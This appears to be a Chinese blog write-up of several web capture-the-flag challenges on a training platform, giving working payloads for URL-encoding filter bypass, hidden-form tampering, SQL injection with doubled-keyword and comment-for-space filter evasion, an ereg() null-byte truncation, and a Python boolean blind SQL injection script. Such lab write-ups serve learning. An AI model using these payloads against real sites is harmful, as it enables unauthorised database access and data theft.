实验吧——WriteUp&&涨姿势(2)

WriteUp

  1. PHP大法
  2. Forms
  3. 简单sql注入
  4. 简单sql注入2

涨姿势

  1. Once More
  2. 简单sql注入3

PHP大法

原题

这里写图片描述

解题思路

index.php.txt代码审计

WriteUp

浏览器访问index.php.txt
http://ctf5.shiyanbar.com/DUTCTF/index.php.txt

这里写图片描述

代码首先判断 'hackerDJ' 是否是 $_GET[id]的子串,是就退出
不然对 $_GET[id]进行urldecode
然后判断 'hackerDJ' == $_GET[id] ,相等则输出flag
所以只需对参数urlencode即可,需要注意的是需要encode两次,因为浏览器
会自动对urlencode的参数进行decode
playload
http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

这里写图片描述


Forms

原题

这里写图片描述

解题思路

页面源代码发现有个隐藏表单

WriteUp

隐藏表单可以利用

这里写图片描述

随便输入一个PIN,Burp Suite抓包分析

这里写图片描述

隐藏表单出现了,试试不修改直接发送

这里写图片描述

报错,那改成和PIN一样的

这里写图片描述

获取到源码

这里写图片描述

将那一串数字输入即可

这里写图片描述


简单sql注入

原题

这里写图片描述

解题思路

盲注试出过滤的关键词

WriteUp

加‘ 号报错,'=' 爆出数据,猜测查询语句为:
select name from xxx where id = ''

这里写图片描述

继续测试playload
1: 1' or exists(select * from admin) and ''='
2: 1' or exists(selectselect * fromfrom admin) and ''='
3: 1'  or  exists(selectselect  * fromfrom  admin)  andand  ''='
对应报错如下,判断双写可绕过过滤

这里写图片描述

这里写图片描述

这里写图片描述

判断表名:1'  or  exists(selectselect  *  fromfrom  flag)  andand  ''='
判断列名:1'  or  exists(selectselect  flag  fromfrom  flag)  andand  ''='
联合查询:1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  ''='

这里写图片描述


简单sql注入2

原题

解题思路

过滤了空格而已

WriteUp

playload:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/''='

这里写图片描述


Once More

原题

这里写图片描述

解题思路

ereg()%00截断漏洞

WriteUp

根据题目要求,password只能出现字母和数字,长度小于8,值大于9999999,包含*-*
第一个要求:%00截断,隐藏后面的*-*
第二个要求:科学记数法
第三个要求:在password末尾加上*-*
playload: 1e9%00*-*

这里写图片描述

涨姿势点

ereg()的%00截断漏洞

备注

strlen()和字符串转数字还可以再看看

简单sql注入3

原题

这里写图片描述

解题思路

Bool 盲注,看是否报错确定注入代码的正确性

WriteUp

测试playload
1. 1' and exists(select * from admin) and ''='
2. 1' and exists(select flag from flag) and ''='
3. 1' and exists(select name from flag) and ''='

这里写图片描述

这里写图片描述

注入正确就显示Hello,错误则提示相应信息,所以可以根据是否输出Hello判断注入的正确性
爆出表名flag和列名flag,逐个爆flag列的字符即可
import requests
flag = ''
for i in range(1,30):
    for n in range(33,126):
         url = 'http://ctf5.shiyanbar.com/web/index_3.php?id=1%27%20and%20ascii(substr((select%20flag%20from%20flag),'+str(i)+',1))='+str(n)+'%23'
         html = requests.get(url).text
         if 'Hello' in html:
             flag += chr(n)
             break
print(flag)

涨姿势点

Bool盲注的首次接触与应用,理解了什么是Bool盲注并简单利用

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值